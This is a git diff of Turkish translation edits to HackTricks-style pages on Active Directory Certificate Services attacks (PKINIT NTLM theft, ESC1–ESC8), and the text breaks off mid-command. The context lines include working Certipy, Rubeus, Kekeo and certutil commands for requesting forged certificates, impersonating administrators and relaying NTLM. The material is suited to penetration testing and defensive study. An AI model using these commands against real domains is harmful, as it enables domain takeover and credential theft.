Keystore'ları için `.jks`/`.keystore`/`.keys`. Bu dosyalar, belirtilen uzantıları arayarak PowerShell veya komut istemcisi kullanılarak aranabilir. @@ -94,14 +94,14 @@ john --wordlist=passwords.txt hash.txt Verilen içerik, PKINIT aracılığıyla NTLM kimlik bilgisi hırsızlığı için THEFT5 olarak etiketlenen hırsızlık yöntemini açıklamaktadır. İşte içeriğin pasif sesle yeniden açıklaması, anonimleştirilmiş ve gerektiğinde özetlenmiştir: -Kerberos kimlik doğrulamasını desteklemeyen uygulamalar için NTLM kimlik doğrulamasını [MS-NLMP] desteklemek amacıyla, KDC, PKCA kullanıldığında, kullanıcının NTLM tek yönlü fonksiyonunu (OWF) ayrıcalık niteliği sertifikası (PAC) içinde, özellikle `PAC_CREDENTIAL_INFO` tamponunda döndürmek üzere tasarlanmıştır. Sonuç olarak, bir hesap PKINIT aracılığıyla kimlik doğrulaması yapıp bir Ticket-Granting Ticket (TGT) elde ettiğinde, mevcut ana bilgisayarın NTLM hash'ini TGT'den çıkarmasına olanak tanıyan bir mekanizma sağlanmış olur. Bu süreç, NTLM düz metninin NDR serileştirilmiş tasvirini içeren `PAC_CREDENTIAL_DATA` yapısının şifresinin çözülmesini içerir. +Kerberos kimlik doğrulamasını desteklemeyen uygulamalar için NTLM kimlik doğrulamasını [MS-NLMP] desteklemek amacıyla, KDC, PKCA kullanıldığında, kullanıcının NTLM tek yönlü fonksiyonunu (OWF) ayrıcalık niteliği sertifikası (PAC) içinde, özellikle `PAC_CREDENTIAL_INFO` tamponunda döndürmek üzere tasarlanmıştır. Sonuç olarak, bir hesap PKINIT aracılığıyla kimlik doğrulaması yapıp bir Ticket-Granting Ticket (TGT) elde ettiğinde, mevcut ana bilgisayarın NTLM hash'ini TGT'den çıkarmasını sağlayan bir mekanizma sağlanmış olur; bu, eski kimlik doğrulama protokollerini sürdürmek içindir. Bu süreç, NTLM düz metninin NDR serileştirilmiş tasvirini içeren `PAC_CREDENTIAL_DATA` yapısının şifresinin çözülmesini gerektirir. -**Kekeo** aracı, [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) adresinde erişilebilir olup, bu belirli veriyi içeren bir TGT talep edebilme yeteneğine sahip olduğu belirtilmektedir. Bu amaçla kullanılan komut aşağıdaki gibidir: +**Kekeo** aracı, [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) adresinde erişilebilir olup, bu belirli veriyi içeren bir TGT talep edebilme yeteneğine sahip olduğu belirtilmektedir; böylece kullanıcının NTLM'ini geri almak kolaylaşır. Bu amaçla kullanılan komut aşağıdaki gibidir: ```bash tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local ``` -Ayrıca, Kekeo'nun akıllı kart korumalı sertifikaları işleyebileceği, pin'in geri alınabilmesi durumunda belirtilmiştir, [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe) referansıyla. Aynı yeteneğin **Rubeus** tarafından desteklendiği belirtilmektedir, [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) adresinde mevcuttur. +Ayrıca, Kekeo'nun akıllı kart korumalı sertifikaları işleyebileceği, pin'in geri alınabilmesi durumunda belirtilmiştir; [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe) referans verilmiştir. Aynı yeteneğin **Rubeus** tarafından desteklendiği belirtilmektedir; bu da [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) adresinde mevcuttur. -Bu açıklama, PKINIT aracılığıyla NTLM kimlik bilgisi çalınma sürecini ve bu süreçte yer alan araçları kapsar, PKINIT kullanılarak elde edilen TGT aracılığıyla NTLM hash'lerinin geri alınmasına odaklanır ve bu süreci kolaylaştıran yardımcı programları içerir. +Bu açıklama, PKINIT aracılığıyla NTLM kimlik bilgisi çalınma sürecini ve bu süreçte yer alan araçları kapsar; PKINIT kullanılarak elde edilen TGT aracılığıyla NTLM hash'lerinin geri alınmasına ve bu süreci kolaylaştıran yardımcı programlara odaklanmaktadır. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 0cacd9e01..0fb48b73e 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -28,7 +28,7 @@ Bu özellik, bazen ürünler veya dağıtım hizmetleri tarafından HTTPS veya ana bilgisayar sertifikalarının anında oluşturulmasını desteklemek için veya bir anlayış eksikliği nedeniyle etkinleştirilir. -Bu seçeneği kullanarak bir sertifika oluşturmanın bir uyarı tetiklediği, mevcut bir sertifika şablonunun (örneğin, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` etkin olan `WebServer` şablonu) kopyalanıp ardından bir kimlik doğrulama OID'si eklemek için değiştirilmesi durumunda böyle bir uyarının olmadığı belirtilmektedir. +Bu seçeneği kullanarak bir sertifika oluşturmanın bir uyarı tetiklediği, mevcut bir sertifika şablonunun (örneğin, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` etkin olan `WebServer` şablonu) kopyalanıp ardından bir kimlik doğrulama OID'si eklemek için değiştirilmesi durumunda böyle bir uyarının olmadığı belirtilmiştir. ### Suistimal @@ -49,7 +49,7 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo ``` Windows ikili dosyaları "Certreq.exe" ve "Certutil.exe", PFX oluşturmak için kullanılabilir: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -AD Ormanı'nın yapılandırma şemasındaki sertifika şablonlarının, özellikle onay veya imza gerektirmeyen, Client Authentication veya Smart Card Logon EKU'suna sahip olan ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağı etkinleştirilmiş olanların belirlenmesi, aşağıdaki LDAP sorgusunu çalıştırarak gerçekleştirilebilir: +AD Ormanı'nın yapılandırma şemasındaki sertifika şablonlarının, özellikle onay veya imza gerektirmeyen, Client Authentication veya Smart Card Logon EKU'suna sahip olan ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağı etkinleştirilmiş olanların sayımı, aşağıdaki LDAP sorgusunu çalıştırarak gerçekleştirilebilir: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` @@ -63,13 +63,13 @@ AD Ormanı'nın yapılandırma şemasındaki sertifika şablonlarının, özelli 2. Yönetici onayı gereksinimi devre dışı bırakılır. 3. Yetkili imzaların gerekliliği atlanır. 4. Sertifika şablonundaki aşırı izinli bir güvenlik tanımlayıcısı, düşük ayrıcalıklı kullanıcılara sertifika kayıt hakları verir. -5. **Sertifika şablonu, Any Purpose EKU veya hiç EKU içerecek şekilde tanımlanmıştır.** +5. **Sertifika şablonu, Any Purpose EKU'yu veya hiç EKU'yu içerecek şekilde tanımlanmıştır.** -**Any Purpose EKU**, bir saldırganın **herhangi bir amaçla** sertifika almasına izin verir; bu, istemci kimlik doğrulaması, sunucu kimlik doğrulaması, kod imzalama vb. dahil. **ESC3 için kullanılan aynı teknik**, bu senaryoyu istismar etmek için de kullanılabilir. +**Any Purpose EKU**, bir saldırganın **herhangi bir amaç** için, istemci kimlik doğrulaması, sunucu kimlik doğrulaması, kod imzalama vb. dahil olmak üzere bir sertifika almasına izin verir. Bu senaryoyu istismar etmek için **ESC3 için kullanılan aynı teknik** uygulanabilir. -**Hiç EKU içermeyen** sertifikalar, alt CA sertifikaları olarak hareket eder ve **herhangi bir amaçla** istismar edilebilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle, bir saldırgan, bir alt CA sertifikası kullanarak yeni sertifikalarda keyfi EKU'lar veya alanlar belirtebilir. +**Hiç EKU'su olmayan** sertifikalar, alt CA sertifikaları olarak hareket eder ve **herhangi bir amaç** için istismar edilebilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle, bir saldırgan, bir alt CA sertifikası kullanarak yeni sertifikalarda keyfi EKU'lar veya alanlar belirtebilir. -Ancak, **alan kimlik doğrulaması** için oluşturulan yeni sertifikalar, alt CA **`NTAuthCertificates`** nesnesi tarafından güvenilir değilse çalışmayacaktır; bu, varsayılan ayardır. Yine de, bir saldırgan hala **herhangi bir EKU ile yeni sertifikalar** ve keyfi sertifika değerleri oluşturabilir. Bunlar, potansiyel olarak geniş bir yelpazede amaçlar için **kötüye kullanılabilir** (örneğin, kod imzalama, sunucu kimlik doğrulaması vb.) ve SAML, AD FS veya IPSec gibi ağdaki diğer uygulamalar için önemli sonuçlar doğurabilir. +Ancak, **alan kimlik doğrulaması** için oluşturulan yeni sertifikalar, alt CA **`NTAuthCertificates`** nesnesi tarafından güvenilir değilse çalışmayacaktır; bu, varsayılan ayardır. Yine de, bir saldırgan **herhangi bir EKU** ve keyfi sertifika değerleri ile **yeni sertifikalar** oluşturabilir. Bunlar, potansiyel olarak geniş bir yelpazede amaçlar için **kötüye kullanılabilir** (örneğin, kod imzalama, sunucu kimlik doğrulaması vb.) ve SAML, AD FS veya IPSec gibi ağdaki diğer uygulamalar için önemli sonuçlar doğurabilir. AD Ormanı'nın yapılandırma şemasında bu senaryoya uyan şablonları listelemek için aşağıdaki LDAP sorgusu çalıştırılabilir: ``` @@ -81,9 +81,9 @@ AD Ormanı'nın yapılandırma şemasında bu senaryoya uyan şablonları listel Bu senaryo, birincisi ve ikincisi gibi ancak **farklı bir EKU** (Sertifika Talep Ajanı) ve **2 farklı şablon** **istismar ederek** (bu nedenle 2 set gereksinimi vardır), -**Sertifika Talep Ajanı EKU** (OID 1.3.6.1.4.1.311.20.2.1), Microsoft belgelerinde **Kayıt Ajanı** olarak bilinir, bir kullanıcının **başka bir kullanıcı adına** **sertifika** için **kayıt olmasına** izin verir. +**Sertifika Talep Ajanı EKU** (OID 1.3.6.1.4.1.311.20.2.1), Microsoft belgelerinde **Kayıt Ajanı** olarak bilinir, bir yetkilinin **başka bir kullanıcı adına** bir **sertifika** için **kayıt olmasına** izin verir. -**“kayıt ajanı”** böyle bir **şablona** kayıt olur ve elde edilen **sertifikayı diğer kullanıcı adına bir CSR'yi eş-imzalamak için** kullanır. Daha sonra **eş-imzalı CSR'yi** CA'ya gönderir, **“adına kayıt olma”** izni veren bir **şablona** kayıt olur ve CA, **“diğer” kullanıcıya ait bir sertifika** ile yanıt verir. +**“kayıt ajanı”** böyle bir **şablona** kayıt olur ve elde edilen **sertifikayı diğer kullanıcı adına bir CSR'yi eş-imzalamak için** kullanır. Daha sonra **eş-imzalı CSR'yi** CA'ya **gönderir**, **“adına kayıt olma”** izni veren bir **şablona** kayıt olur ve CA, **“diğer” kullanıcıya ait bir sertifika** ile yanıt verir. **Gereksinimler 1:** @@ -91,7 +91,7 @@ Bu senaryo, birincisi ve ikincisi gibi ancak **farklı bir EKU** (Sertifika Tale - Yönetici onayı gereksinimi atlanır. - Yetkili imzalar için bir gereksinim yoktur. - Sertifika şablonunun güvenlik tanımlayıcısı aşırı derecede izin vericidir, düşük ayrıcalıklı kullanıcılara kayıt hakları verir. -- Sertifika şablonu, diğer ilkeler adına diğer sertifika şablonlarının talep edilmesini sağlayan Sertifika Talep Ajanı EKU'sunu içerir. +- Sertifika şablonu, diğer yetkililer adına diğer sertifika şablonlarının talep edilmesini sağlayan Sertifika Talep Ajanı EKU'sunu içerir. **Gereksinimler 2:** @@ -117,7 +117,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -**Kullanıcılar**, **kayıt ajanı sertifikası** **edinme** iznine sahip olanlar, kayıt **ajanlarının** kayıt olmasına izin verilen şablonlar ve kayıt ajanının hareket edebileceği **hesaplar**, kurumsal CA'lar tarafından kısıtlanabilir. Bu, `certsrc.msc` **snap-in'ini** açarak, **CA'ya sağ tıklayarak**, **Özellikler**'i tıklayarak ve ardından “Kayıt Ajanları” sekmesine **geçerek** gerçekleştirilir. +**Kullanıcılar**, **kayıt ajanı sertifikası** **edinme** iznine sahip olanlar, kayıt **ajanlarının** kayıt olmasına izin verilen şablonlar ve kayıt ajanının hareket edebileceği **hesaplar**, kurumsal CA'lar tarafından kısıtlanabilir. Bu, `certsrc.msc` **snap-in**'ini açarak, **CA'ya sağ tıklayarak**, **Özellikler**'i tıklayarak ve ardından “Kayıt Ajanları” sekmesine **geçerek** gerçekleştirilir. Ancak, CA'lar için **varsayılan** ayarın “**Kayıt ajanlarını kısıtlamayın**” olduğu belirtilmektedir. Kayıt ajanları üzerindeki kısıtlama, yöneticiler tarafından etkinleştirildiğinde, “Kayıt ajanlarını kısıtla” olarak ayarlandığında, varsayılan yapılandırma son derece izin verici kalır. **Herkes**'in herhangi biri olarak tüm şablonlara kayıt olmasına izin verir. @@ -149,7 +149,7 @@ Yukarıdaki yolda görüldüğü gibi, yalnızca `JOHNPC` bu ayrıcalıklara sah ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy**, bir sertifika şablonunun yapılandırmasını tek bir komutla geçersiz kılabilir. **Varsayılan olarak**, Certipy yapılandırmayı **ESC1'e karşı savunmasız hale getirmek için geçersiz kılacaktır**. Ayrıca, **saldırımızdan sonra yapılandırmayı geri yüklemek için eski yapılandırmayı kaydetmek üzere `-save-old` parametresini de belirtebiliriz**. +**Certipy**, bir sertifika şablonunun yapılandırmasını tek bir komutla geçersiz kılabilir. **Varsayılan olarak**, Certipy yapılandırmayı **ESC1'e karşı savunmasız hale getirmek için geçersiz kılar**. Ayrıca, **saldırımızdan sonra yapılandırmayı geri yüklemek için eski yapılandırmayı kaydetmek üzere `-save-old` parametresini de belirtebiliriz**. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -164,11 +164,11 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes ### Explanation -Birçok nesneyi, sertifika şablonları ve sertifika otoritesinin ötesinde, içeren ACL tabanlı ilişkilerin geniş ağı, tüm AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunları kapsar: +Bağlantılı ACL tabanlı ilişkilerin geniş ağı, sertifika şablonları ve sertifika otoritesinin ötesinde birkaç nesneyi içermektedir ve bu, tüm AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunlardır: -- S4U2Self veya S4U2Proxy gibi mekanizmalar aracılığıyla tehlikeye girebilecek CA sunucusunun AD bilgisayar nesnesi. +- CA sunucusunun AD bilgisayar nesnesi, S4U2Self veya S4U2Proxy gibi mekanizmalar aracılığıyla tehlikeye girebilir. - CA sunucusunun RPC/DCOM sunucusu. -- Belirli bir konteyner yolunda `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` bulunan herhangi bir soyundan gelen AD nesnesi veya konteyner. Bu yol, Sertifika Şablonları konteyneri, Sertifikasyon Otoriteleri konteyneri, NTAuthCertificates nesnesi ve Kayıt Hizmetleri Konteyneri gibi konteynerler ve nesnelerle sınırlı olmamakla birlikte, bunları içerir. +- `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` belirli konteyner yolunda bulunan herhangi bir alt AD nesnesi veya konteyner. Bu yol, Sertifika Şablonları konteyneri, Sertifikasyon Otoriteleri konteyneri, NTAuthCertificates nesnesi ve Kayıt Hizmetleri Konteyneri gibi konteynerler ve nesnelerle sınırlı olmamakla birlikte, bunları içermektedir. PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırgan bu kritik bileşenlerden herhangi birine kontrol sağlamayı başarırsa tehlikeye girebilir. @@ -176,9 +176,9 @@ PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırgan bu kritik bil ### Explanation -[**CQure Academy gönderisinde**](https://cqureacademy.com/blog/enhanced-key-usage) tartışılan konu, Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerini de kapsamaktadır. Bu yapılandırma, bir Sertifikasyon Otoritesi (CA) üzerinde etkinleştirildiğinde, **herhangi bir talep** için **kullanıcı tanımlı değerlerin** **konu alternatif adı** içine dahil edilmesine izin verir; bu, Active Directory®'den oluşturulanları da içerir. Sonuç olarak, bu düzenleme, bir **saldırganın** **herhangi bir şablon** aracılığıyla kayıt olmasına olanak tanır; özellikle **ayrıcalıksız** kullanıcı kaydına açık olanlar, standart Kullanıcı şablonu gibi. Sonuç olarak, bir sertifika güvence altına alınabilir ve saldırganın bir alan yöneticisi veya alan içindeki **herhangi bir aktif varlık** olarak kimlik doğrulaması yapmasına olanak tanır. +[**CQure Academy gönderisinde**](https://cqureacademy.com/blog/enhanced-key-usage) tartışılan konu, Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerini de kapsamaktadır. Bu yapılandırma, bir Sertifikasyon Otoritesi (CA) üzerinde etkinleştirildiğinde, **herhangi bir istek** için **konu alternatif adı** içinde **kullanıcı tanımlı değerlerin** dahil edilmesine izin verir; bu, Active Directory®'den oluşturulanları da içerir. Sonuç olarak, bu düzenleme, bir **saldırganın** alan **kimlik doğrulaması** için ayarlanmış **herhangi bir şablon** üzerinden kaydolmasına olanak tanır—özellikle **ayrıcalıksız** kullanıcı kaydına açık olan standart Kullanıcı şablonu gibi. Sonuç olarak, bir sertifika güvence altına alınabilir ve saldırganın alan yöneticisi veya alan içindeki **herhangi bir aktif varlık** olarak kimlik doğrulaması yapmasına olanak tanır. -**Not**: `certreq.exe` içindeki `-attrib "SAN:"` argümanı aracılığıyla bir Sertifika İmzalama Talebine (CSR) **alternatif adların** eklenmesi yaklaşımı, ESC1'deki SAN'ların istismar stratejisinden bir **fark** sunar. Burada, fark, **hesap bilgilerinin nasıl kapsüllendiği** ile ilgilidir; bir sertifika niteliği içinde, bir uzantı yerine. +**Not**: `certreq.exe` içindeki `-attrib "SAN:"` argümanı aracılığıyla bir Sertifika İmzalama Talebine (CSR) **alternatif adların** eklenmesi yaklaşımı, ESC1'deki SAN'ların istismar stratejisinden **farklılık** göstermektedir. Burada, fark, **hesap bilgilerinin nasıl kapsüllendiği** ile ilgilidir—bir sertifika niteliği içinde, bir uzantı yerine. ### Abuse @@ -209,7 +209,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ ``` > [!WARNING] > Mayıs 2022 güvenlik güncellemelerinden sonra, yeni verilen **sertifikalar**, **istek sahibinin `objectSid` özelliğini** içeren bir **güvenlik uzantısı** içerecektir. ESC1 için, bu SID belirtilen SAN'dan türetilir. Ancak, **ESC6** için, SID **istek sahibinin `objectSid`** değerini yansıtır, SAN'ı değil.\ -> ESC6'yi istismar etmek için, sistemin ESC10'a (Zayıf Sertifika Eşleştirmeleri) karşı hassas olması gerekmektedir; bu, **yeni güvenlik uzantısından ziyade SAN'ı** önceliklendirir. +> ESC6'yi istismar etmek için, sistemin ESC10'a (Zayıf Sertifika Eşleştirmeleri) karşı hassas olması gerekmektedir; bu, **yeni güvenlik uzantısına göre SAN'ı** önceliklendirir. ## Hassas Sertifika Otoritesi Erişim Kontrolü - ESC7 @@ -217,7 +217,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ #### Açıklama -Bir sertifika otoritesinin erişim kontrolü, CA eylemlerini yöneten bir dizi izin aracılığıyla sürdürülmektedir. Bu izinler, `certsrv.msc` erişilerek, bir CA'ya sağ tıklanarak, özellikler seçilerek ve ardından Güvenlik sekmesine gidilerek görüntülenebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu komutlarla sıralanabilir: +Bir sertifika otoritesi için erişim kontrolü, CA eylemlerini yöneten bir dizi izin aracılığıyla sürdürülmektedir. Bu izinler, `certsrv.msc` erişilerek, bir CA'ya sağ tıklanarak, özellikler seçilerek ve ardından Güvenlik sekmesine gidilerek görüntülenebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu komutlarla sıralanabilir: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` @@ -225,11 +225,11 @@ Bu, "CA yöneticisi" ve "Sertifika Yöneticisi" rollerine karşılık gelen **`M #### Kötüye Kullanım -Bir sertifika otoritesinde **`ManageCA`** haklarına sahip olmak, yetkilinin ayarları uzaktan PSPKI kullanarak manipüle etmesine olanak tanır. Bu, herhangi bir şablonda SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açıp kapatmayı içerir; bu, alan yükseltmesinin kritik bir yönüdür. +Bir sertifika otoritesinde **`ManageCA`** haklarına sahip olmak, yetkilinin ayarları uzaktan PSPKI kullanarak manipüle etmesine olanak tanır. Bu, herhangi bir şablonda SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını değiştirmeyi içerir; bu, alan yükseltmesinin kritik bir yönüdür. Bu sürecin basitleştirilmesi, doğrudan GUI etkileşimi olmadan değişikliklere izin veren PSPKI’nin **Enable-PolicyModuleFlag** cmdlet'inin kullanımıyla mümkündür. -**`ManageCertificates`** haklarına sahip olmak, bekleyen taleplerin onaylanmasını kolaylaştırır ve böylece "CA sertifika yöneticisi onayı" korumasını etkili bir şekilde aşar. +**`ManageCertificates`** haklarına sahip olmak, bekleyen taleplerin onaylanmasını kolaylaştırır ve "CA sertifika yöneticisi onayı" korumasını etkili bir şekilde aşar. Bir sertifika talep etmek, onaylamak ve indirmek için **Certify** ve **PSPKI** modüllerinin bir kombinasyonu kullanılabilir: ```powershell @@ -262,7 +262,7 @@ Gereksinimler: - **`Manage Certificates`** izni (bu **`ManageCA`** üzerinden verilebilir) - Sertifika şablonu **`SubCA`** **etkinleştirilmiş** olmalıdır (bu **`ManageCA`** üzerinden etkinleştirilebilir) -Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika talepleri** **yayınlayabilmesi** gerçeğine dayanmaktadır. **`SubCA`** sertifika şablonu **ESC1'e** **duyarlıdır**, ancak **sadece yöneticiler** şablona kaydolabilir. Böylece, bir **kullanıcı** **`SubCA`**'ya kaydolma **talebinde** bulunabilir - bu **reddedilecektir** - ancak **sonrasında yönetici tarafından verilecektir**. +Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika talepleri** **yayınlayabilmesi** gerçeğine dayanmaktadır. **`SubCA`** sertifika şablonu **ESC1'e** **duyarlıdır**, ancak **yalnızca yöneticiler** şablona kaydolabilir. Böylece, bir **kullanıcı** **`SubCA`**'ya kaydolmak için **talep** edebilir - bu **reddedilecektir** - ancak **sonrasında yönetici tarafından verilecektir**. #### Suistimal @@ -299,14 +299,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -**`CA Yönet` ve `Sertifikaları Yönet`** ile ardından **başarısız sertifika** talebini `ca` komutu ve `-issue-request ` parametresi ile **verebiliriz**. +**`CA Yönet`** ve **`Sertifikaları Yönet`** ile, `ca` komutunu ve `-issue-request ` parametresini kullanarak **başarısız sertifika** talebini **verebiliriz**. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -Ve nihayet, **verilen sertifikayı** `req` komutu ve `-retrieve ` parametresi ile **alabiliriz**. +Ve nihayet, `req` komutunu ve `-retrieve ` parametresini kullanarak **verilen sertifikayı** alabiliriz. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -323,12 +323,12 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ### Açıklama > [!NOTE] -> **AD CS yüklü** ortamlarda, eğer **web kayıt noktası zayıf** bir noktaya sahipse ve en az bir **sertifika şablonu yayımlanmışsa** ve **alan bilgisayarı kaydı ve istemci kimlik doğrulaması** iznine sahipse (varsayılan **`Machine`** şablonu gibi), **spooler servisi aktif olan herhangi bir bilgisayarın bir saldırgan tarafından tehlikeye atılması** mümkün hale gelir! +> **AD CS yüklü** ortamlarda, eğer **kötü niyetli bir web kayıt noktası** varsa ve en az bir **sertifika şablonu yayınlanmışsa** ve **alan bilgisayarı kaydı ve istemci kimlik doğrulaması** (varsayılan **`Machine`** şablonu gibi) izni veriyorsa, **spooler servisi aktif olan herhangi bir bilgisayarın bir saldırgan tarafından tehlikeye atılması** mümkün hale gelir! -AD CS tarafından desteklenen birkaç **HTTP tabanlı kayıt yöntemi** bulunmaktadır ve bunlar yöneticilerin yükleyebileceği ek sunucu rolleri aracılığıyla sunulmaktadır. HTTP tabanlı sertifika kaydı için bu arayüzler **NTLM relay saldırılarına** karşı hassastır. Bir saldırgan, **tehlikeye atılmış bir makineden, gelen NTLM aracılığıyla kimlik doğrulayan herhangi bir AD hesabını taklit edebilir**. Kurban hesabını taklit ederken, bu web arayüzleri bir saldırgan tarafından **`User` veya `Machine` sertifika şablonlarını kullanarak bir istemci kimlik doğrulama sertifikası talep etmek için erişilebilir**. +AD CS tarafından desteklenen birkaç **HTTP tabanlı kayıt yöntemi** vardır ve bunlar yöneticilerin yükleyebileceği ek sunucu rolleri aracılığıyla sunulmaktadır. HTTP tabanlı sertifika kaydı için bu arayüzler **NTLM relay saldırılarına** karşı hassastır. Bir saldırgan, **tehlikeye atılmış bir makineden, gelen NTLM aracılığıyla kimlik doğrulayan herhangi bir AD hesabını taklit edebilir**. Kurban hesabını taklit ederken, bu web arayüzleri bir saldırgan tarafından **`User` veya `Machine` sertifika şablonlarını kullanarak bir istemci kimlik doğrulama sertifikası talep etmek için erişilebilir**. -- **Web kayıt arayüzü** ( `http:///certsrv/` adresinde bulunan eski bir ASP uygulaması), varsayılan olarak yalnızca HTTP'ye ayarlanmıştır ve NTLM relay saldırılarına karşı koruma sağlamaz. Ayrıca, yalnızca NTLM kimlik doğrulamasına izin vererek, Kerberos gibi daha güvenli kimlik doğrulama yöntemlerinin uygulanamaz hale gelmesine neden olur. -- **Sertifika Kayıt Servisi** (CES), **Sertifika Kayıt Politikası** (CEP) Web Servisi ve **Ağ Cihazı Kayıt Servisi** (NDES) varsayılan olarak, yetkilendirme HTTP başlıkları aracılığıyla müzakere kimlik doğrulamasını destekler. Müzakere kimlik doğrulaması **hem** Kerberos'u hem de **NTLM**'yi destekleyerek, bir saldırganın relay saldırıları sırasında **NTLM'ye düşürmesine** olanak tanır. Bu web hizmetleri varsayılan olarak HTTPS'yi etkinleştirse de, HTTPS tek başına **NTLM relay saldırılarına karşı koruma sağlamaz**. HTTPS hizmetleri için NTLM relay saldırılarından korunma, HTTPS'nin kanal bağlama ile birleştirilmesiyle mümkündür. Ne yazık ki, AD CS, kanal bağlama için gerekli olan IIS'de Genişletilmiş Koruma için Kimlik Doğrulamasını etkinleştirmemektedir. +- **Web kayıt arayüzü** (`http:///certsrv/` adresinde bulunan eski bir ASP uygulaması), varsayılan olarak yalnızca HTTP'yi destekler ve bu, NTLM relay saldırılarına karşı koruma sağlamaz. Ayrıca, yalnızca NTLM kimlik doğrulamasına izin vererek, Kerberos gibi daha güvenli kimlik doğrulama yöntemlerini geçersiz kılar. +- **Sertifika Kayıt Servisi** (CES), **Sertifika Kayıt Politikası** (CEP) Web Servisi ve **Ağ Cihazı Kayıt Servisi** (NDES) varsayılan olarak, yetkilendirme HTTP başlıkları aracılığıyla müzakere kimlik doğrulamasını destekler. Müzakere kimlik doğrulaması **hem** Kerberos'u hem de **NTLM**'yi destekler, bu da bir saldırganın **relay saldırıları sırasında NTLM** kimlik doğrulamasına **düşmesine** olanak tanır. Bu web hizmetleri varsayılan olarak HTTPS'yi etkinleştirse de, HTTPS tek başına **NTLM relay saldırılarına karşı koruma sağlamaz**. HTTPS hizmetleri için NTLM relay saldırılarından korunma, yalnızca HTTPS'nin kanal bağlama ile birleştirilmesiyle mümkündür. Ne yazık ki, AD CS, kanal bağlama için gerekli olan IIS'de Genişletilmiş Koruma için Kimlik Doğrulamasını etkinleştirmemektedir. NTLM relay saldırılarındaki yaygın bir **sorun**, **NTLM oturumlarının kısa süresi** ve saldırganın **NTLM imzalamayı** gerektiren hizmetlerle etkileşimde bulunamamasıdır. @@ -382,7 +382,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < Certipy, varsayılan olarak, `Machine` veya `User` şablonuna dayalı olarak bir sertifika talep eder; bu, iletilen hesap adının `$` ile bitip bitmediğine bağlıdır. Alternatif bir şablonun belirtilmesi, `-template` parametresinin kullanılmasıyla sağlanabilir. -Daha sonra kimlik doğrulamasını zorlamak için [PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik kullanılabilir. Alan denetleyicileri ile çalışırken, `-template DomainController` belirtilmesi gereklidir. +Daha sonra, kimlik doğrulamasını zorlamak için [PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik kullanılabilir. Alan denetleyicileri ile çalışırken, `-template DomainController` belirtilmesi gereklidir. ```bash certipy relay -ca 